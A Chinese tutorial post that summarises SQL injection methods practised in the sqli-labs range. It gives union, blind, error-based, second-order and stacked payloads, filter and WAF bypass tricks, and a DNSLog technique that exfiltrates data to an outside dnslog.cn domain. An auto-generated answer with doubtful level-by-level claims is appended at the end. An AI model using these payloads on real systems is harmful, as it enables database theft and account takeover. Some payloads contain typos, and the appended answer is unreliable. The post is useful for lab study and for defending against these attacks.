Sqli_labs通关全解--总结

本篇文章,为小编完成Sqli--labs所有关卡实验的总结文章,总结了,sql注入的基本方式,下文中所提到的所有注入分类和注入方法基本都在sqli-labs中有所体现,几乎每一关都可以将其总结到本文的某一种分类中,可以参照本文对sqli-lab实验进行尝试,具体每一关的操作,会在后续的文章中介绍

什么是SQLI

所谓SQL注入就是用户在能够控制SQL查询、更新、插入、删除等语句的参数的情况下,攻击者通过构造特殊的输入字符串使后端程序错误地识别SQL查询语句中的代码与数据部分从而导致数据库管理系统输出了非预期的结果的一种行为。

SQLI基本认识

SQL注入本质上来讲就是拼接字符串,通过输入额外的信息破坏外后端脚本原有的查询语句结构,从而达成注入的目的。
举个例子,后端后一段查询代码是下面样的:

//后端脚本语言为PHP
$query="select name,age,gender from t_students where id={$_GET['id']}";

 当用户正常输入的时候:

http://www.armandhe.com/query.php?id=1

后端的查询语句实际上是这样的:

$query="select name,age,gender from t_students where id=1";

但攻击者往往不会这样中规中矩,他们往往会构造这样的输入:

http://www.armandhe.com/query.php?id=-1 union select 1,database(),3 --+

 此时后端的查询语句变成:

$query="select name,age,gender from t_students where id=-1 union select 1,database(),3 -- ";

通过上面的例子我们可以看出,攻击者构造的查询参数在SQL语句中没有被当作一个字符串对待,而是具有了实际的功能特性,这是PHP的语法决定的,它只是简单地将用户的输入与后端预定义的语句做了一个拼接,将拼接的结果整体作为一条SQL的查询语句。正是这个特性导致了SQL注入的产生.

SQLI分类


按照注入参数类别分


字符型注入


当我们传入的参数在后端代码中被引号引起来的时候,我们称这种情况为字符型注入
看下面的例子

$query="select name,age,gender from t_students where id='{$_GET['id']}'";

此时我们的参数$_GET['id']被单引号引起来了,属于单引号闭合

双引号闭合

$id='"'.$_GET['id'].'"';
$query="select name,age,gender from t_students where id={$id}";

此时我们的参数$_GET['id']被双引号引起来,以上两种注入都属于字符型注入

数字型注入


我们传入的参数在后端代码中没有被引起来的时候,我们称这种情况为字符型注入。当然之后参数类型为数字的时候,才存在区分数字型和字符型的情况

$query="select name,age,gender from t_students where id={$_GET['id']}";
1

此时我们传入的参数直接与id进行比较

进行sql注入的首要操作就是对注入类型进行判断,即对sql语句的闭合方式进行判断,具体判断方式,会在后续内容中介绍

按照请求方法分

GET型注入

所谓GET型注入,顾名思义,即注入点的参数是同通过GET请求发送到后端进行处理的。其又可以分为下面两种情形:

url注入

即注入点在url中。举个例子,现在有一个网页,实现了根据学生学号,来查询学生基本信息的功能,学生的id信息是通过GET方法传参发送到后端的,其请求的url如下

http://www.armandhe.com/query.php?id=20140379

后台处理代码如下

$query="select name,age,gender from t_students where id={$_GET['id']}";

在该例中,我们通过修改url中的id参数的值,来控制前端页面的显示结果。因为没有过滤的原因,我们输入的任何参数值都将被直接拼接到SQL查询语句中,那么我们就可以通过联合查询注入的方式进行注入。

请求头注入

简单理解就是注入点在请求头中。还是上面的例子,不过url中的参数被后端进行了严格的过滤,不存在任何的注入方法,但后端在进行处理的时候不仅仅是使用了查询语句,还对我们请求头中的user-agent字段在数据库中进行了查询,来防止恶意爬虫,但憨憨程序员却没有对用户的请求头做过滤。于是乎我们可以在请求头中构造恶意代码。同理,不只是user-agent字段,其他字段包括referer等,都可以进行注入,后端处理逻辑如下:

$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$userAgent=getallheaders()['User-Agent'];
$query="select * from AgentJudge where userAgent='{$userAgent}'";
$result=mysqli_query($link,$query);
if (mysqli_num_rows($result)!=0){
    print('请不要恶意浏览本网页');
}

可以看到后端代码中并没有对user-agent字段做过滤,那么我们就可以直接开始构造注入语句:
这里我们可以通过BurpSuite抓包来修改user-agent字段:

 当然我们不能直接上来就构造联合查询注入,这一点后面再将,这里只是演示请求头注入的效果。


POST型注入

同理POST是不同于GET的另一种传参方式,大多出现在各种框处,比如登录框查询框,和各种与数据库有交互的框。post注入和get注入基本没有本质的区别,除了在宽字节注入方面的操作有所区别,基本操作一致。

有回显的注入

联合查询注入

information_schema库简介
   information_schema库是mySQL自带的一个库,其中包含了当前数据库管理系统的所有信息,但该数据库并不是一个实体的数据库,它不存储任何实际意义上的数据,它只是整个数据库管理系统的一个视图,当某个数据库的某个表发生变化时,information_schema库中相关的数据将同时发生变化。
    在注入中,我们关注的是该库中的schemata、tables、columns三个表。他们分别存储了整个数据库管理系统的所有数据库信息,表信息,字段信息。在schemata表中,通过schema_name字段可以获取所有的数据库名;在tables,通过table_name、table_schema字段可以获取所有的表名与其对应的数据库名;在columns表中,通过columns、table_name、table_schema字段可以获取所有的字段名以及其所属表与数据库。
   我们的注入思路就是先通过mysql的内建函数database(),获取当前数据库名,再通过tables表获取,所有的表信息,再通过columns表获取上述表所有的字段,最后通过字段查询想要的数据。
当然使用information_schema库查询信息有一个很重要的条件限制,那就是,需要当前连接数据库的用户具有读该数据库的权限,
 

注入步骤


STEP1:判断闭合符
STEP2:判断列数
联合查询会将两条查询语句的查询结果拼接到一起返回!于是反映出联合查询需遵守的一个规则便是,两条查询语句的查询字段数必须相等,于是乎在利用联合查询进行注入的时候,我们第一步要做的就是判断判断后端代码中的SQL查询语句的字段数。

select id,username,passwd from t_user order by 4;


STEP 3:查数据库名

?id=-1 union select 1,database(),1--+

注意id=-1,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。
STEP 4:查表名
假如上一步查询出来的数据库名为security

?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem='security'--+

注意第二条查询语句我们payload插入位置的字段一定要在前端有回显,否则我们将不能查看到查询结果。
STEP 5:查列名
假如上一步查询出来的表名中有user表

?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='user'--+

STEP 6:查数据
假如上一步查询出来的字段有username与passwd

?id=-1' and select 1,group_concat(concat(0x7e,username,0x7e,passwd,0x7e)),1 from user--+

盲注

盲注又分为布尔盲注与时间盲注两种类型

布尔盲注

基本原理是:通过控制通过and连接起来的子句的布尔值,来控制页面的显示结果来判断and后子句的真实性,bool盲注适用于bool判断的结果能够回显在界面内容中的情况,例如界面文本的变化。举个例子

?id=1' and substring(database(),1,1)='s'--+

根据and的特性,当and运算符左边的计算结果为真时会继续判断后边的运算结果,如果右边的结果也为真则整个语句为真,当右边的语句为假时,则整个语句为假;当and左边的运算结果为假时,则直接判断整个语句为假,举例如下

1==1 and 1==2 //false 1==1为true,继续判断1==2的结果为false,整体为false
1==1 and 2==2 //true 1==1为true,继续判断2==2的结果为true,整体为true
1==2 and 1==1 //false 1==2为flse,直接判断整体为false,不再对右边的内容进行判断
1==2 and 1==2 //fale 1==2为flse,直接判断整体为false,不再对右边的内容进行判断

利用and的这个特性,id=1恒为真的时候,and右边substring子句的执行结果将直接影响这个SQL查询语句的结果,即substring子句为真,整个查询语句为真,页面正常回显内容,当substring子句为假的时候,整个查询语句为假,页面不正常回显内容。
在上面我们构造的查询语句中,对数据库名的第一个字段进行了判断,假如判断正确,那么接着对第二个字符进行判断

?id=1' and substring(database(),1,2)='se'--+

直到数据库名的最后一个字符被找出来。可以看到这个过程耗时耗力,我们要对所有可能的大小写字母、数字、特殊字符进行枚举,所以可以考虑透过自动化脚本的方式来进行判断。这里对脚本的编写推荐适用python语言,其request可以很方便的构造请求。
要获取表名、字段名、数据,只需将上述database()替换为对应payload即可,如要获取表名

?id=1' and substring((select 1,group_concat(table_name),1 from information_schema.tables where table_schem='security'),1,2)='se'--+

时间盲注


时间盲注与布尔盲注有异曲同工之妙,只不过判断语句正确与否的标志不再是查询结果有没有被正确得回显,而是网页的响应时间。看下面语句:

?id=1' and if (length(database())<20,sleep(5),1)--+

上例中,通过length函数获取了当前数据库的长度并与20进行比较,如果数据库名长度小于20,那么则延时5秒向后端脚本程序回显查询结果,如果数据库名不小于20,则直接回显结果。延时5秒的结果表现在客户端就是当前浏览器tab的标题部分会一直转圈圈。然后通过二分法。即将上述语句中的20改为10继续测试,如果不小于10,则在将10修改为15,按照此规律我们逐渐紧逼找到当前数据库名的真正长度。数据库名的长度确认之后,我们就要开始获取数据库名的值了:

?id=1' and if (substring(database(),1,1)='s',sleep(5),1)--+

通过上述布尔盲注中讲到的方法,最终获取到数据库名。当然上面的语句我们还有其他的变种,如:

?id=1' and if (ascii(substring(database(),1,1))=67,sleep(5),1)--+ //通过ascii码来比较
?id=1' and if (hex(substring(database(),1,1))=FF,sleep(5),1)--+ //通过十六进制值来比较
?id=1' and if (mid(database(),1,1)='s',sleep(5),1)--+ //使用mid函数代替substring
?id=1' and if (substr(database(),1,1)='s',sleep(5),1)--+ //和substring是等效的
?id=1' and if (left(database(),2)='se',sleep(5),1)--+ //截取左边两个个字符
?id=1' and if (right(database(),2)='ty',sleep(5),1)--+ //截取右边两个字符

要获取表明、字段名、数据只需将上面payload中的database()替换为联合查询注入中的payload即可,如要获取表名,则构造如下语句:

?id=1' and if (substring((select 1,group_concat(table_name),1 from information_schema.tables where table_sche

报错注入

报错注入就是利用数据库的某些正常的机制,人为得制造错误,将查询得结果携带在报错信息中回显到客户端。

updatexml注入
updatexml函数接受三个参数,第一个参数是一个xml格式的字符串,第二个参数是符合xpath语法规范的字符串,第三个参数是要替换成的字符串。该函数的功能就是从第一个xml字符串中通过xpath语法选择匹配的部分替换成第三个参数的内容。并且当xpath语法出现错误的时候,将会回显数据,于是我们将我们的查询语句放到第二个参数中,作为错误回显的一部分外带到客户端浏览器。比如需要获取库名,则构造如下语句

?id=1' and updatexml(1,concat(0x7e,database()),1)--+ //and可以被替换为or,如果为or,则还有一处需要修改,请自行思考


注意,concat是必须的,0x7e也是必须的,否则将不会回显错误信息,0x7e可以被别的十六进制数代替,但是有限制的,亲们可以自行尝试。且0x7e位置上的数字转换后必须为字符型,concat只能连接字符串,不能连接数字。获取表名、列名、数据的方法参见前文描述,这里不再赘述。

extractvalue注入


该函数与updatexml很像,但他只接受两个参数,且其定义与updatexml一样。

?id=1' and extractvalue(1,concat(0x7e,database()))--+ //and可以被替换为or,如果为or,则还有一处需要修改,请自行思考

主键重复报错
看下面的例子

?id=1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))alias_a from information_schema.tables group by alias_a)b)--+

group by子句能够根据一个或多个列对结果集进行分组
floor函数的功能为向下取整
rand函数将根据传入的随机数种子生成一个0-1之间的随机数,当传入的种子固定的时候,随机数的规律也就固定下来。
count为聚合函数,配合group by 子句,将对分组字段相同的值进行计数。
分析上面的例子将要达到的查询效果是:从information_schema.tables表中根据拼接字段alias_a对结果集进行计数输出。
在上例中rand函数生成的随机数乘以2的范围就是0-2,那么再使用floor函数进行向下取整,其值就只能是0或者1。同时因为group by 的特性使得其在进行分组的时候会对后面的字段进行两次运算,group by 在进行分组的时候,会生成一张虚拟表记录数据,那么假设一种情况,当group by进行第一次运算的时候,发现虚拟表中没有相同的数据,准备进行插入操作,但因为rand函数的随机性,导致在第二次运算的时候产生的结果在虚拟表中已经存在,那么在插入该数据的时候就会产生主键冲突,从而产生报错信息,将我们需要的数据通过报错信息外带。
上例是查询数据库的payload,查询表名的方法如下,其他信息的查询方法请自行思考

?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))alias_a from information_schema.tables group by alias_a)b)--+

可以总结出来一个模板

?id=1' or (select 1 from (select count(*),concat((payload),floor(rand(0)*2)) from information_schema.tables group by alias_a)b)--+

只需将上面模板中的内容替换成为我们的查询payload即可,alias_a与b均是字段别名,别名的含义请自行学习SQL语句

几何函数注入
可以使用的几何函数

geometrycollection:存储任意集合图形的集合
multipoint:存储多个点
polygon:多边形
multipolygon:多个多边形
linstring:线
multilinestring:多条线
point:点

payload:

select * from  test where id=1 and mutilinestring((select*from(select * from (select user())a)b))) //构造语法都是这样。

只要上述函数中的参数不是集合形状数据,就会报错。有mysql版本限制。

基于列名冲突的注入

这里涉及到一个函数name-const
name-const:该函数可以手动创建一个列,在mysql中如果列命冲突则会导致报错,可以配和join全连接来操作,全连接会连接两个表,将两个表的所有信息合并为一张表显示。

?id=1' and exists(select * from (select * from (select name_const(@@version,0)) a join (select name_const(@@version,0))b)c; //无效

看上图,并不会提示用户信息,所以就当这个方法不存在

 也可以单独使用join,只需要保证join两边的值一样就会导致报错:

select * from (select name_const(version(),1),name_const(version(),1))a; //有效

这个方法就当作了解即可,经过亲自实验,这方法好像只能像上一条语句一样看看版本号!!!!或许实我mysql版本的问题,我用的是5.7.26,可自行进行实验


基于溢出的注入


~:按位取反
exp(3):自然对数的3次方,很容易就溢出了

select * from mysql.user where id=1 and exp(~(select * from (select user())a));

~后的内容被取反后会得到一个很大的数,再做为自然对数的指数,得到的值一定会溢出,从而报错将查询结果显示出来,但貌似该方法有版本限制,可以自行测验可以使用的版本,反正我用的版本是不行的


二阶注入


二阶注入是指已存在的用户输入的数据被存储到数据库中,在用户再次使用该数据的时候导致的注入,这种注入类型是很难通过工具扫描或者黑盒测试发现的,往往需要通过白盒测试才能发现。比如现在有一个网站提供了用户注册与修改密码的功能。在用户登录的时候,通过函数对用户的输入进行了转义,如

$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$username=mysql_real_escape_string($_POST['username']);
$passwd=mysql_real_escape_string($_POST['passwd']);
$repasswd=mysql_real_escape_string($_POST['repasswd']);
if ($passwd==$repasswd){
    $query="select * from t_user where username='{$username}' and passwd=='{$passwd}'";
    $res=@mysqli_query($link,$query);
    if (mysqli_num_rows($res)==1){
        //登录成功
    }else{
        die('用户名或密码错误')
    }
}else{
    die("两次输入密码不一致")
}

可以看到在登录界面,用户名与密码被mysql_real_escape_string函数做了转义,那么我们输入的单引号或者双引号就失去了作用,于是我们不能通过简单一次注入获取数据。再看用户注册界面的代码

$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$username=mysql_escape_string($_POST['username']);
$passwd=mysql_escape_string($_POST['passwd']);
$repasswd=mysql_escape_string($_POST['repasswd']);
if ($passwd==$repasswd){
    $query="select * from t_user where username='{$username}'";
    $res=@mysqli_query($link,$query);
    if (mysqli_num_rows($res)!=0){
        //当前用户已存在
    }else{
        $query="insert into user values ('{$username}','{$passwd}')";
        $res=@mysqli_query($link,$query);
        if (mysqli_affected_rows=1){
            //新增用户成功
        }else{
            //未知错误,请检查后再输入
        }
    }
}else{
    die("两次输入密码不一致");
}

可以看到登录界面的输入也被转义了,但是有一点,需要明确的是,经过msql_real_escape_string和addsashes转义的字符在插入到数据库中之后,会被解转义,不然我们注册的用户名就变了。利用这个特性我们就可以搞事情了。在用户修改密码的时由有这样的语句

$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$username=mysql_escape_string($_POST['username']);
$oldpasswd=mysql_escape_string($_POST['oldpasswd']);
$newpasswd=mysql_escape_string($_POST['newpasswd']);
$repasswd=mysql_escape_string($_POST['repasswd']);
//首先判断用户名密码是否正确
$query="select * from t_user where username='{$username}' and passwd='{$oldpasswd}'";
$res=@mysqli_query($link,$query);
if ($newpasswd==$repasswd && mysqli_num_rows($res)!=0){
    $query="update t_user set passwd='{$newpasswd}' where username='{$username}'";
    $res=@mysqli_query($link,$query);
        if (mysqli_affected_rows=1){
            //密码修改成功
        }else{
            //未知错误,请检查后再输入
        }
}else{
    die("两次输入密码不一致或者用户名或者老密码输入错误");
}

假如我们直到有有一个用户名为admin的管理员账户,那么我们首先可以注册一个admin'#的账号,’#根据实际情况确定,密码为123456,然后我们正常登录到我们新注册的账号,跳转到修改密码的界面,然后输入用户名与密码之后点击确认,这时候后台的update语句变成了

$query="update t_user set passwd=654321 where username='admin'#'";

所以大家说这时候,我到底修改的是哪一个用户的密码呢?
这时候我们就可以用我们的新密码直接登录管理员账户admin了。大家可以到sqli_labs靶场第24关进行试验。

堆叠注入

mysli_multi_query()函数:

Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

使用条件

mysli_multi_query()执行多条查询的函数——防止注入改成mysqli_query()函数

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用**mysqli_multi_query()**函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。

查询数据表:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查询users列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

长字符串截断


mysql在没有开启严格模式的情况下,对于插入长度超过字符长度限制的数据并不会报错而是警告,但数据已经成功插入,我们可以利用这一点,创建一个长度超过限制的用户名后面插入很多的空格,当然这个用户名得和管理员得用户名相同,但后面却多了一长串得的空格,因为长度超出限制,多余的部分被截断,但此时我们查询数据库管理员的账户的时候,将同时查询到这两个值,于是,我们可以利用我们新创建的这个用户登录管理员的后台。

无回显的注入

DNS Log
我们在发起网络请求的时候,第一步就是解析域名,当域名被成功解析的时候,该域名解析结果将被域名服务器记录下来,我们利用的正是这一点,讲我们想要的数据放在域名的下一级域中外带到域名服务器,通过查询域名服务器的日志,从而获得我们想要的数据,如我们使用www.dnslog.cn 这个网站来测试

点击获取子域名获取一个包含三级域名的域名给我们,这里我们使用ping命令做测试

ping %USERNAME%.4ap7wz.dnslog.cn

当ping通的时候,我们点击该网站的刷新记录就可以看到我测试主机的用户名ChinaArmand了。该注入方法适用于需要时间盲注、没有回显的注入场景。构造mysql语句如下。

?id=1' and (select load_file(concat('\\\\',(select database()),'.4ap7wz.dnslog.cn\\abc')))

在到www.dnslog.cn看看是不是获取到了我们的数据库名我么可以看到上面的语句使用了\\,这是windowsUNC路径的表示方法,所以在SQLI中DNSLog只适用于windows平台的服务器 。
unc路径,是在windows平台上访问局域网网络资源的一种路径表示方法,我们在window上使用的文件共享服务路径就是通过这种方式,\\172.16.11.24 这也就解释了为什么只能在window平台的服务器上有效,另外多出来的两个\表示转义。

load_file 受mysql配置文件中secure_file_priv选项的限制,

secure_file_priv= //允许所有
secure_file_priv="G:\" //允许加载G盘
secure_file_priv=null //拒绝

SQLI防御及绕过


嵌套及大小写混淆绕过
如果后台存在这样的语句

$arg=str_replace('union','',$_GET['id']) //将union替换为空
或者
$arg=preg_replace('/union/i','',$_GET['id']) //将union替换为空,且不区分大小写

我们可以这样构造payload

?id=1' ununionion select 1,2,3%23 //上面两种用法均可这样绕过

str_replace函数时不区分大小写的我们还可以通过UNion来绕过

?id=1' Union select 1,2,3 --+

空格被过滤的绕过
通过内内联注释
部分程序过滤了空格,将输入限制为单个,则可以通过内联注释绕过 还可通过%a0 ,%09,%0a,%0b,%0c,%0d绕过

?id=1' /**/union/**/order/**/by/**/2 %23

通过括号–emmmmm基本没啥用,就当作SQL语句的拓展吧
通过括号代替空格有点鸡肋,关键字是不能被括起来的,否则会报错,比如order by 3不能写作`(order)(by)(3)基本没啥用。

逗号被过滤的绕过

select substr(database() from 1 to 1);
select mid(database() from 1 to 1);

作用也不大,用到逗号的地方很多,如要查两个字段union select username,passwd这里的逗号就不能这样写,当然我们可以每次只查一个字段。

空字节
用于绕过一些入侵检测系统,如ids ips等,这些检测系统一般都是用原生语言编写的,而这些语言检验字符串的结尾是通过检测空字节,在被检测系统检测的字符前面加上一个空字节就可以欺骗检测系统忽略被检测字符。%00-空字节

编码绕过
我们可以通过编码的方式欺骗后端的过滤机制

1. char       select(char(67,58,45,56,67,45,35,44,3));
2. 16进制编码    0x234532e34f2a34b
3. hex
4. unhex   select convert(unhex('e3f23a44b445')using utf8)
5. to_base64(),from_base64()

引号被转义
如果mysql的字符集使GBK、GB2312、BIG5等宽字节字符集的话
php如果开启了magic_quotes_gpc功能,那么通过_GET,_POST,_COOKIE方法传入的参数中的',",null,\等就会被加上/转义,此时通过寻常方法就不能完成注入,我么你可以这样构造注入参数id=%e6',这样的参数后面的'不会被转义,从而达到注入的目的。'在被转义后会成为\',于是我们的输入变成了%e6\',后台如果采用宽字节的方式编码,那么%e6\讲被解析成%e6%5c当成一个字符,于是\就被吃掉了,'被释放了出来。
我们输入的%e6是在%81 %ef的范围内的,因为宽字节一般都采用的是UNICODE字符集,采用的是高低字节的方式编码,%e6正好在高字节区域内%5c刚好在低字节区内,所以两者正好能组成一个字符。

关键字替代

and ⇒ &&
or => ||
< > = => between() ,like 
limit 0,1  => limit 0 offset 1
substr => substring mid left right
sleep => benchmark

 HPP参数污染


HTTP参数污染可用于绕过安全检查,对于一些布置了waf的系统,可以通过对参数进行二次传入,来对waf进行绕过

先讲解一下服务器两层架构:

client
tomcat
apache
Apache和Tomcat都可以做为独立的Web服务器运行。Apache是Web服务器,只处理 静态HTML;Tomcat是Java应用服务器,静态HTML,动态 JSP Servlet 都能处理。

现在要说的情况是,客户端向tomcat发送请求,tomcat再向发送apache请求。

下面列举了一些常见Web服务器对同样名称的参数出现多次的处理方式:

WEB服务器 参数获取函数获取到的参数
PHP/Apache$_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache  Param(“par”)First
ASP/IIS Request.QueryString(“par”) All (comma-delimited string)
Python/Apachegetvalue(“par”) All (List)

SQLI的未来


PDO
这个我不是太了解,还没有深入学习,有兴趣的小伙伴可以自行学习

PHP预编译
sql注入存在的原因是计算机对代码部分、与数据部分区分错误导致的。
sql语句在执行之前会进行词法分析、语义分析,当代码中有大量的重复语句的时候,就会浪费大量的资源,所以有了预编译的概念。在sql语句执行前,sql语句被预编译,这样,我们就可以复用同一条sql语句,而不需要每次执行sql语句的时候都进行词法分析与语义分析,同时无论我们输入的内容是什么都会被当作字符串,而不会被当作代码部分被执行。当然预编译也存在局限性,预编译只能编译sql的参数部分,而不能编译sql的结构部分,所以当结构部分语句需要动态生成的时候就不能使用预编译,这样就可能存在sql注入的问题。再有预编译的语句也并不是无懈可击,参数部分还是可能存在注入点的,如like子句中用为%在sql中是一个通配符,所以当我们还是有可能精心构造一条sql语句的。
 

  • 9
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs是一个SQL注入学习平台,通过完成一系列的关卡来学习和实践SQL注入漏洞的利用方法。根据引用的描述,首先需要在浏览器中打开"http://127.0.0.1/sqli-labs/",访问平台的首页。然后点击"Setup/reset Database"按钮以创建数据库,创建表并填充数据。 完成了上述设置后,可以开始挑战关卡。 sqli-labs通关1关:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关2关:根据引用提供的内容,可以在账户密码后面加入"1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#"来进行注入。这样就能够获取到users表中的用户名和密码的组合。 sqli-labs通关3关:通关3关的方法没有在提供的引用中找到相关信息。 sqli-labs通关4关:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关5关:通关5关的方法没有在提供的引用中找到相关信息。 请注意,为了安全起见,在进行实际操作时,请确保仅在合法和授权的环境中进行,并遵守法律和道德规范。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [详细sqli-labs(1-65)通关讲解](https://blog.csdn.net/dreamthe/article/details/123795302)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Sqli-labs通关全解---关于Sqli-lab--1](https://blog.csdn.net/cyynid/article/details/128629421)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值